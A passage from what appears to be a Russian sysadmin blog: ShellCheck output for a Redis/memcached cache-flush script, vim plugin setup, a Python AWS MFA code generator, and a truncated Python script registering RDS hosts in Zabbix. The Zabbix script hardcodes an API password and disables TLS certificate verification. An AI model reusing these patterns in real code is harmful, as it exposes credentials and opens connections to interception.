                         ^-- SC2086: Double quote to prevent globbing and word splitting.
                         ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 182:
              echo $SITE
                   ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 189:
           for Iconfig in `ls -alR /etc/apache2/sites-enabled/*.conf| awk '{print $9}'|xargs -I{} -n1 echo {}` ; do
                          ^-- SC2006: Use $(..) instead of legacy `..`.
                           ^-- SC2012: Use find instead of ls to better handle non-alphanumeric filenames.


In flush-cache.sh line 190:
                RootF=$(cat $Iconfig 2> /dev/null| grep DocumentRoot| cut -d '"' -f2|uniq| grep -v "blog")
                            ^-- SC2086: Double quote to prevent globbing and word splitting.
                            ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 191:
                SITE=$(cat $Iconfig 2> /dev/null| grep -E "ServerName"|awk '{print $2}')
                           ^-- SC2086: Double quote to prevent globbing and word splitting.
                           ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 196:
         echo "Please check which web-server2 installed on `hostname`";
                                                           ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 209:
  CacheRedisIP=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13| grep "<server>"|uniq|cut -d ">" -f2 | cut -d "<" -f1)
                     ^-- SC2046: Quote this to prevent word splitting.
                     ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                     ^-- SC2006: Use $(..) instead of legacy `..`.
                     ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                           ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 211:
             CacheRedisIP=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13| grep "<server>"| uniq|cut -d "[" -f3| cut -d "]" -f1)
                                ^-- SC2046: Quote this to prevent word splitting.
                                ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                                ^-- SC2006: Use $(..) instead of legacy `..`.
                                ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                      ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 215:
  CacheRedisSock=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13| grep "<server>"|uniq| cut -d ">" -f2|cut -d "<" -f1| cut -d "." -f2)
                       ^-- SC2046: Quote this to prevent word splitting.
                       ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                       ^-- SC2006: Use $(..) instead of legacy `..`.
                       ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                             ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 217:
             CacheRedisSock=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13| grep "<server>"| uniq| cut -d ">" -f2|cut -d "<" -f1| cut -d "." -f2)
                                  ^-- SC2046: Quote this to prevent word splitting.
                                  ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                                  ^-- SC2006: Use $(..) instead of legacy `..`.
                                  ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                        ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 221:
  CacheRedisPorts=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13| cut -d '>' -f2| grep port | cut -d '<' -f1|uniq)
                        ^-- SC2046: Quote this to prevent word splitting.
                        ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                        ^-- SC2006: Use $(..) instead of legacy `..`.
                        ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                              ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 223:
           CacheRedisPorts=$(cat `echo $LocalXML 2> /dev/null` |grep Cache_Backend_Redis -A13 | grep port | cut -d "[" -f3| cut -d "]" -f1| grep -Ev "gzip"|uniq)
                                 ^-- SC2046: Quote this to prevent word splitting.
                                 ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                                 ^-- SC2006: Use $(..) instead of legacy `..`.
                                 ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                       ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 232:
  CacheRedisDB=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13 | grep database | cut -d ">" -f2 |cut -d "<" -f1|uniq)
                     ^-- SC2046: Quote this to prevent word splitting.
                     ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                     ^-- SC2006: Use $(..) instead of legacy `..`.
                     ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                           ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 237:
      echo "CacheRedisIPs: `echo $CacheRedisIP 2> /dev/null`";
                           ^-- SC2006: Use $(..) instead of legacy `..`.
                           ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                 ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 241:
          echo "redis-cli -s `echo $CacheRedisIP` flushall";
                             ^-- SC2006: Use $(..) instead of legacy `..`.
                             ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                   ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 242:
          echo 'flushall' | redis-cli -s `echo $CacheRedisIP`;
                                         ^-- SC2046: Quote this to prevent word splitting.
                                         ^-- SC2006: Use $(..) instead of legacy `..`.
                                         ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                               ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 245:
       for ICacheRedisIP in `echo $CacheRedisIP|xargs -I{} -n1 echo {}` ; do
                            ^-- SC2006: Use $(..) instead of legacy `..`.
                                  ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 246:
            for ICacheRedisPorts in `echo $CacheRedisPorts|xargs -I{} -n1 echo {}` ; do
                                    ^-- SC2006: Use $(..) instead of legacy `..`.
                                          ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 247:
                echo "Cache-redis-ports: `echo $CacheRedisPorts 2> /dev/null`";
                                         ^-- SC2006: Use $(..) instead of legacy `..`.
                                         ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                               ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 251:
                            if [ -n "`whereis redis-cli| awk '{print $2}'`" ]; then
                                     ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 252:
                                  R_flush=$(redis-cli -h `echo $ICacheRedisIP` -p `echo $ICacheRedisPorts` flushall)
                                  ^-- SC2034: R_flush appears unused. Verify it or export it.
                                                         ^-- SC2046: Quote this to prevent word splitting.
                                                         ^-- SC2006: Use $(..) instead of legacy `..`.
                                                         ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                               ^-- SC2086: Double quote to prevent globbing and word splitting.
                                                                                  ^-- SC2046: Quote this to prevent word splitting.
                                                                                  ^-- SC2006: Use $(..) instead of legacy `..`.
                                                                                  ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                                                        ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 254:
                                  echo "redis-cli -h `echo $ICacheRedisIP` -p `echo $ICacheRedisPorts` flushall";
                                                     ^-- SC2006: Use $(..) instead of legacy `..`.
                                                     ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                           ^-- SC2086: Double quote to prevent globbing and word splitting.
                                                                              ^-- SC2006: Use $(..) instead of legacy `..`.
                                                                              ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                                                    ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 260:
                                  echo $ICacheRedisIP '+' $ICacheRedisPorts
                                       ^-- SC2086: Double quote to prevent globbing and word splitting.
                                                          ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 272:
                            echo "CacheRedisDB = `echo $CacheRedisDB 2> /dev/null`"
                                                 ^-- SC2006: Use $(..) instead of legacy `..`.
                                                 ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                       ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 275:
                            Server_port="SERVER::::> `echo $ICacheRedisIP` PORT::::> `echo $ICacheRedisPorts`";
                                                     ^-- SC2006: Use $(..) instead of legacy `..`.
                                                     ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                           ^-- SC2086: Double quote to prevent globbing and word splitting.
                                                                                     ^-- SC2006: Use $(..) instead of legacy `..`.
                                                                                     ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                                                           ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 277:
                            echo "`echo $Server_port`";
                                 ^-- SC2005: Useless echo? Instead of 'echo $(cmd)', just use 'cmd'.
                                  ^-- SC2006: Use $(..) instead of legacy `..`.
                                  ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                        ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 278:
                            for ICacheRedisDB in `echo $CacheRedisDB|xargs -I{} -n1 echo {}` ; do
                                                 ^-- SC2006: Use $(..) instead of legacy `..`.
                                                       ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 281:
                                echo "`echo $Server_port` DataBase::::> `echo $ICacheRedisDB`";
                                      ^-- SC2006: Use $(..) instead of legacy `..`.
                                      ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                            ^-- SC2086: Double quote to prevent globbing and word splitting.
                                                                        ^-- SC2006: Use $(..) instead of legacy `..`.
                                                                        ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                                              ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 283:
                                CacheRedisDBAuth=$(cat `echo $LocalXML` 2> /dev/null| grep Cache_Backend_Redis -A13 | grep password | cut -d ">" -f2 |cut -d "<" -f1|uniq)
                                                       ^-- SC2046: Quote this to prevent word splitting.
                                                       ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                                                       ^-- SC2006: Use $(..) instead of legacy `..`.
                                                       ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                                             ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 304:
                                      for ICacheRedisDBAuth in `echo $CacheRedisDBAuth|xargs -I{} -n1 echo {}` ; do
                                                               ^-- SC2006: Use $(..) instead of legacy `..`.
                                                                     ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 340:
     echo "Local Cache on server `hostname`";
                                 ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 344:
          `rm -rf echo $Cache_Dir`
          ^-- SC2092: Remove backticks to avoid executing output.
          ^-- SC2006: Use $(..) instead of legacy `..`.
                       ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 359:
        MemcachedServer=$(cat `echo $LocalXML` 2> /dev/null | grep -Ev ^$| grep '<memcached>' -A7| grep -E 'host|CDATA|port' | grep -v "ersistent"| grep host| cut -d "[" -f3| cut -d "]" -f1|uniq)
                              ^-- SC2046: Quote this to prevent word splitting.
                              ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                              ^-- SC2006: Use $(..) instead of legacy `..`.
                              ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                    ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 360:
        MemcachedPort=$(cat `echo $LocalXML` 2> /dev/null | grep -Ev ^$| grep '<memcached>' -A7| grep -E 'host|CDATA|port' | grep -v "ersistent"| grep port| cut -d "[" -f3| cut -d "]" -f1|uniq)
                            ^-- SC2046: Quote this to prevent word splitting.
                            ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.
                            ^-- SC2006: Use $(..) instead of legacy `..`.
                            ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                  ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 366:
              echo "Memcached Server => `echo $MemcachedServer`";
                                        ^-- SC2006: Use $(..) instead of legacy `..`.
                                        ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                              ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 367:
              echo "Memcached Port => `echo $MemcachedPort`";
                                      ^-- SC2006: Use $(..) instead of legacy `..`.
                                      ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                            ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 369:
              `which expect | grep -E expect` <<EOF
              ^-- SC2092: Remove backticks to avoid executing output.
              ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 378:
              echo "memcached has been flushed on server `hostname`";
                                                         ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 382:
              echo "Din't find memcached on server `hostname`";
                                                   ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 391:
for IRootFolder in `cat $RootFolder|xargs -I{} -n1 echo {}` ; do
                   ^-- SC2006: Use $(..) instead of legacy `..`.
                        ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 393:
        echo " ~~~~~~ `echo $SITE` ~~~~~~ ";
                      ^-- SC2006: Use $(..) instead of legacy `..`.
                      ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                            ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 402:
               echo "Root-XML with '/' : `echo $LocalXML| grep -vE "DocumentRoot"`";
                                         ^-- SC2006: Use $(..) instead of legacy `..`.
                                               ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 412:
                echo "Root-XML: `echo $LocalXML`";
                                ^-- SC2006: Use $(..) instead of legacy `..`.
                                ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.
                                      ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 422:
mail -s " HOSTNAME is `hostname`" $List_of_emails < $FlushCacheReport
                      ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 423:
if [ $? -eq 0 ]; then
     ^-- SC2181: Check exit code directly with e.g. 'if mycmd;', not indirectly with $?.


In flush-cache.sh line 425:
      echo "LOG_FILE= $FlushCacheReport has been sent to `echo $List_of_emails`";
                                                         ^-- SC2006: Use $(..) instead of legacy `..`.
                                                         ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.


In flush-cache.sh line 429:
      echo "The email hasn't been sent to `echo $List_of_emails`";
                                          ^-- SC2006: Use $(..) instead of legacy `..`.
                                          ^-- SC2116: Useless echo? Instead of 'cmd $(echo foo)', just use 'cmd foo'.

Утилита поможет отладить ваши баш-скрипты помогая советами (как видно с вывода моего скрипта).

Интеграция ShellCheck в текстовый редактор

ShellCheck позоляет произвести интеграцию с некоторыми текстовыми редакторами (vim, emacs). Он может проверять ваш код прямо в текстовом редакторе. Для этого стоит установить:

• pearofducks/ansible-vim
• neomake/neomake

Давайте установим эти плагины для vim, открываем:

# vim ~/.vimrc

Прописываем:

call plug#begin('~/.vim/autoload')
Plug 'pearofducks/ansible-vim'
Plug 'pearofducks/ansible-vim', { 'do': './UltiSnips/generate.py' }
Plug 'neomake/neomake'
call plug#end()

Чтобы установить плагины, откройте редактор вим, и в нем введите:

:PlugInstall

Теперь, открываем любой плагин и вводим:

:Neomake

Получаем подсказки.

На этом у меня все, статья «Установка ShellCheck в Unix/Linux » подошла к завершению.

Есть много плагинов на веб браузеры, которые умеют генерировать ПИН  для вашего MFA. Так же, имеется большое количество ПО на мобильные девайсы, но как по мне, лучше заюзать терминал.

Скрипт для генерации OTP для AWS при использовании MFA в Unix/Linux

Возможно, кто-то генерирует OTP для своих нужд токены для входа на сервер. У меня используеться — AWS сервис и на нем установлен MFA, по этому — нужно каждый раз генерировать токен.

Полезное чтиво:

Установка pip/setuptools/wheel в Unix/Linux

Собственно, я взял и написал скрипт для этой задачи:

# vim get_OTP.py

Выглядит он следующим образом:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import configparser
import argparse
import pyotp
import os


class Bgcolors:
    def __init__(self):
        self.get = {
            'HEADER': '\033[95m',
            'OKBLUE': '\033[94m',
            'OKGREEN': '\033[92m',
            'WARNING': '\033[93m',
            'FAIL': '\033[91m',
            'ENDC': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }


def get_acc_names(db_file):
    # db_file = '/Users/captain/.aws/credentials'
    if db_file is '':
        print('Please add PATH to .aws/credentials file inside this script(db_file variable)')
        print('For help, use: script_name.py -h')
        exit(1)
    config = configparser.ConfigParser()
    config.sections()
    config.read(db_file)

    return config.sections()


def get_creds_from_acc_name(acc_name, db_file):
    if db_file is '':
        print('Please add PATH to .aws/credentials file inside this script(db_file variable)')
        exit(1)
    config = configparser.ConfigParser()
    config.sections()
    config.read(db_file)
    if acc_name in config:
        if 'aws_access_key_id' in config[acc_name]:
            aws_access_key_id = config[acc_name]['aws_access_key_id']
        else:
            print('Please add aws_access_key_id to %s file for [%s] account' % (db_file, acc_name))
            exit(1)
        if 'aws_secret_access_key' in config[acc_name]:
            aws_secret_access_key = config[acc_name]['aws_secret_access_key']
        else:
            print('Please add aws_secret_access_key to %s file for [%s] account' % (db_file, acc_name))
            exit(1)
        if 'region' in config[acc_name]:
            region = config[acc_name]['region']
        else:
            print('Please add region to %s file for [%s] account' % (db_file, acc_name))
            exit(1)
        if 'mfa_authorisation_key' in config[acc_name]:
            mfa_authorisation_key = config[acc_name]['mfa_authorisation_key']
        else:
            print('Please add mfa_authorisation to %s file for [%s] account' % (db_file, acc_name))
            exit(1)
    else:
        print('Please add [%s] account to %s' % (acc_name, db_file))
        print(('EXAMPLE:\n'
               '    [%s]\n'
               '    aws_access_key_id = XXXXXXXXXXXXXXXXXXXXXXXX\n'
               '    aws_secret_access_key = YYYYYYYYYYYYYYYYYYYYYYYY\n'
               '    region = us-east-1\n'
               '    mfa_authorisation_key = ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ\n'
               '    ') % acc_name)
        print(Bgcolors().get['HEADER'], 'You can use the following ones:', Bgcolors().get['ENDC'],
              Bgcolors().get['OKGREEN'], get_acc_names(db_file), Bgcolors().get['ENDC'])
        exit(1)

    return aws_access_key_id, aws_secret_access_key, region, mfa_authorisation_key


def generate_token(acc_name, db_file):
    account_creds = get_creds_from_acc_name(acc_name, db_file)
    totp = pyotp.TOTP(account_creds[3])
    print("Current OTP for %s:" % acc_name, Bgcolors().get['OKGREEN'], totp.now(), Bgcolors().get['ENDC'])
    return generate_token


def generate_token_without_output(acc_name, db_file):
    account_creds = get_creds_from_acc_name(acc_name, db_file)
    totp = pyotp.TOTP(account_creds[3])
    return totp.now()


def main():
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov''')
    parser.add_argument('--version', action='version', version='v1.0.1')
    parser.add_argument('--acc', dest='account', help='Account name', default='default')
    parser.add_argument('--path', dest='path', help='Path to .aws/credentials file',
                        default='~/.aws/credentials')

    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument('--show-acc', dest='show_acc', help='Show account names', action='store_true')
    # group.add_argument('--s', dest='show_acc', help='Show account names', action='store_true')
    results = parser.parse_args()
    ac_name = results.account
    path = os.path.expanduser(results.path)
    if path is not None:
        if results.show_acc:
            print(Bgcolors().get['HEADER'], 'You can use the following ones:', Bgcolors().get['ENDC'],
                Bgcolors().get['OKGREEN'], get_acc_names(path), Bgcolors().get['ENDC'])
        else:
            generate_token(ac_name, path)
    else:
        print('Please add [--path]')
        print('For help, use: script_name.py -h')
        exit(0)

if __name__ == '__main__':
    main()

Для запуска, можно использовать слкдующую команду:

$ python3 get_OTP.py -h
usage: python3 script_name.py {ARGS}

optional arguments:
  -h, --help     show this help message and exit
  --version      show program's version number and exit
  --acc ACCOUNT  Account name
  --path PATH    Path to .aws/credentials file
  --show-acc     Show account names

created by Vitalii Natarov

Это так званный хелп. Скрипт полностью готов к использованию. У него есть подсказки, которые помогут вам в работе.

Я запускаю его следующим образом:

$ python3 get_OTP.py --acc linux-notes 
Current OTP for linux-notes: 199746

PS: У меня используется мой стандартный путь к файлу, его нужно сменить или переопределить:

$ python3 get_OTP.py --path="/Users/captain/.aws/credentials" --acc linux-notes

Еще примеры:

$ python3 get_OTP.py --acc default 
Please add mfa_autorisation to /Users/captain/.aws/credentials file

Или:

python3 get_OTP.py --acc default2
Please add [default2] account to /Users/captain/.aws/credentials
EXAMPLE:
    [default2]
    aws_access_key_id = XXXXXXXXXXXXXXXXXXXXXXXX
    aws_secret_access_key = YYYYYYYYYYYYYYYYYYYYYYYY
    region = us-east-1
    mfa_authorisation_key = ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 You can use the following ones:   ['default', 'linux-notes']

На мой взгляд — очень даже интуитивно все.

PS: Нужно установить либу:

# pip3 install pyotp

В моем случае, я использую AWS и добавляю в него нужную строку. Вообще, можно немного видоизменить скрипт и считывать данные с другого файла. Если кому-то потребутся помощь — я срадостью помогу.

Я себе, сделал алиас на эту команду чтобы использование стало еще удобнее. Для этого, стоит открыть:

$ vim ~/.bashrc

И прописать:

alias get_OTP="python3 /Users/captain/Projects/python/pyotp/get_OTP.py"

PS: Конечно, стоит сменить путь к файлу. Но это и так понятно было. Наверное….

После чего, использование будет следующее:

$ get_OTP --acc linux-notes

А на этом, у меня все, статья «Скрипт для генерации OTP при использовании MFA в Unix/Linux» завершена.

Добавление RDS хостов в zabbix c использованием boto3 + python3

На работе потребовалось добавлять RDS хосты (с различных учеток AWS) в заббикс. Руками делать, — это конечно нормальное явление, но я люблю оптимизацию и автоматизацию. И для этого готов был написать скрипт. Пал выбор на питон.

Полезное чтиво:

Установка Zabbix + nginx+php-fpm + mariaDB в Unix/Linux

Установка Zabbix-agent в Unix/Linux

Установка pip/setuptools/wheel в Unix/Linux

Автоматическое выключение хостов в zabbix

Автоматическое удаление хостов в zabbix

Открываем файл:

# vim Add_Hosts_from_AWS_RDS_to_Zabbix.py

Он выглядит следующим образом:

#!/bin/env python3
# -*- coding: utf-8 -*-
import requests
import sys
import boto3
import glob
import smtplib

from pyzabbix import ZabbixAPI, ZabbixAPIException
#


class bgcolors:
    def __init__(self):
        self.colors = {
            'HEADER': '\033[95m',
            'OKBLUE': '\033[94m',
            'OKGREEN': '\033[92m',
            'WARNING': '\033[93m',
            'FAIL': '\033[91m',
            'ENDC': '\033[0m',
            'BOLD': '\033[1m',
            'UNDERLINE': '\033[4m'
        }

def get_creds_from_assum_role():
    auth_params = []

    # create an STS client object that represents a live connection to the
    # STS service

    #sts_client = boto3.setup_default_session(region_name='us-east-1')
    sts_client = boto3.client('sts', region_name='us-east-1')
    #
    Assum_Roles = ['arn:aws:iam::93388403184:role/CW-RDS-READ-ONLY'
        , 'arn:aws:iam::4131648289989:role/CLOUDWATCH-READONLY-ACCESS-CMSHARED'
        , 'arn:aws:iam::067785372661:role/CLOUDWATCH-READONLY-ACCESS-DEV'
        , 'arn:aws:iam::66803035257:role/CLOUDWATCH-READONLY-ACCESS-CMSHARED'
        , 'arn:aws:iam::505163668321:role/CLOUDWATCH-READONLY-ACCESS-ZABBIX'
        , 'arn:aws:iam::378494444851:role/CLOUDWATCH-READONLY-ACCESS-ZABBIX']

    # Call the assume_role method of the STSConnection object and pass the role
    # ARN and a role session name.

    for Assum_Role in Assum_Roles:
        assumedRoleObject = sts_client.assume_role(
            RoleArn=Assum_Role,
            RoleSessionName="ElastiCache"
        )

        # From the response that contains the assumed role, get the temporary
        # credentials that can be used to make subsequent API calls

        credentials = assumedRoleObject['Credentials']
        auth_param = {
            'access_key': credentials['AccessKeyId'],
            'secret_key': credentials['SecretAccessKey'],
            'session_token': credentials['SessionToken']
        }
        auth_params.append(auth_param)
    # print(auth_params)
    return auth_params


def get_rds_hosts_from_assum_role():
    hosts_from_rds = []
    # RDS
    Creds_Data = get_creds_from_assum_role()
    for get_greds_from_acc in Creds_Data:
        access_key = get_greds_from_acc['access_key']
        secret_key = get_greds_from_acc['secret_key']
        session_token = get_greds_from_acc['session_token']
        #
        rds_client = boto3.setup_default_session(region_name='us-east-1'
                                                 , aws_access_key_id=access_key
                                                 , aws_secret_access_key=secret_key
                                                 , aws_session_token=session_token)
        rds_client = boto3.client('rds'
                              , region_name='us-east-1'
                              , aws_access_key_id=access_key
                              , aws_secret_access_key=secret_key
                              , aws_session_token=session_token)
        try:
            # get all of the db instances
            rdses = rds_client.describe_db_instances()
            for rds in rdses['DBInstances']:
                hosts_from_rds.append(rds['Endpoint']['Address'])
        except Exception as error:
            print (error)
    # print(hosts_from_rds)
    return hosts_from_rds  # def get_elasticache_hosts_from_assum_role():


def login_to_zabbix():
    # host, login, password to connect to DEV zabbix-server
    Zabbix_Host = 'https://zabbix.com/'
    Zabbix_User = 'apiuser'
    Zabbix_Password = 'gkjhjhvjh5uigkjhg'
    # You can use the Connection_Timeout
    Connection_Timeout = 25
    # Verify SSL
    Verify_SSL = False
    # Connect to zabbix-server
    zapi = ZabbixAPI(Zabbix_Host, timeout=Connection_Timeout)
    zapi.session.verify = Verify_SSL
    if not Verify_SSL:
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    r = requests.get(Zabbix_Host, verify=Verify_SSL)
    #
    zapi.login(Zabbix_User, Zabbix_Password)
    zapi.session.auth = (Zabbix_User, Zabbix_Password)
    # You can re-define Connection_Timeout after
    zapi.timeout = Connection_Timeout
    return zapi


def add_group_to_zabbix(group):
    zapi = login_to_zabbix()
    zapi.hostgroup.create(name=group)
    return add_group_to_zabbix


def add_host_to_zabbix(host, group, template, port=666):
    zapi = login_to_zabbix()
    Get_Templates = zapi.template.get(search={"name": template})
    for template in Get_Templates:
        # print(template['templateid'])
        templateid = template['templateid']
    Get_Groups = zapi.hostgroup.get(search={"name": group})
    for group in Get_Groups:
        if len(host) > 64:
            print ('Host is more than 64 characters: ', host)
            sender = 'captain@localhost'
            receivers = 'vitalii_natarov@epam.com'
            message = ('Host is more than 64 characters: %s' % host)
            smtpObj = smtplib.SMTP('localhost')
            smtpObj.sendmail(sender, receivers, message)
        else:
            zapi.host.create({"host": host,
                              "interfaces": [{
                                "type": 1,
                                "main": 1,
                                "useip": 0,
                                "ip": "",
                                "dns": host,
                                "port": port,
                                }],
                              "groups": [{
                                "groupid": group['groupid'],
                                }],
                              "templates": [{
                                "templateid": templateid,
                                }],
                            })
    return add_host_to_zabbix

def add_template_to_zabbix():
    zapi = login_to_zabbix()
    rules = {
        'applications': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'discoveryRules': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'graphs': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'groups': {
            'createMissing': 'true'
        },
        'hosts': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'images': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'items': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'maps': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'screens': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'templateLinkage': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'templates': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'templateScreens': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
        'triggers': {
            'createMissing': 'true',
            'updateExisting': 'true'
        },
    }
    path = 'Zabbix_Templates/Template_AWS_RDS.xml'
    files = glob.glob(path)
    for file in files:
        with open(file, 'r') as f:
            template = f.read()
            try:
                zapi.confimport('xml', template, rules)
            except ZabbixAPIException as e:
                print(e)
    return add_template_to_zabbix


def main():
    zapi = login_to_zabbix()
    Zabbix_Version = zapi.do_request('apiinfo.version')
    print(bgcolors().colors['OKGREEN'],"============================================================", bgcolors().colors['ENDC'])
    print(bgcolors().colors['OKGREEN'],'Zabbix Version:', Zabbix_Version['result'] + bgcolors().colors['ENDC'])
    print(bgcolors().colors['OKGREEN'],"============================================================", bgcolors().colors['ENDC'])
    # find needed group, template, host
    Needed_groups = ['AWS RDS']
    Needed_IPs = get_rds_hosts_from_assum_role()
    Needed_Templates = ['Template_AWS_RDS']
    Get_Templates = zapi.template.get(search={"name": Needed_Templates})
    for template in Get_Templates:
        Needed_Template = template['name']
    for Needed_group in Needed_groups:
        Get_Groups = zapi.hostgroup.get(search={"name": Needed_group})
        if (len(Get_Groups)) is not 0:
            # check host in provided group
            for Needed_IP in Needed_IPs:
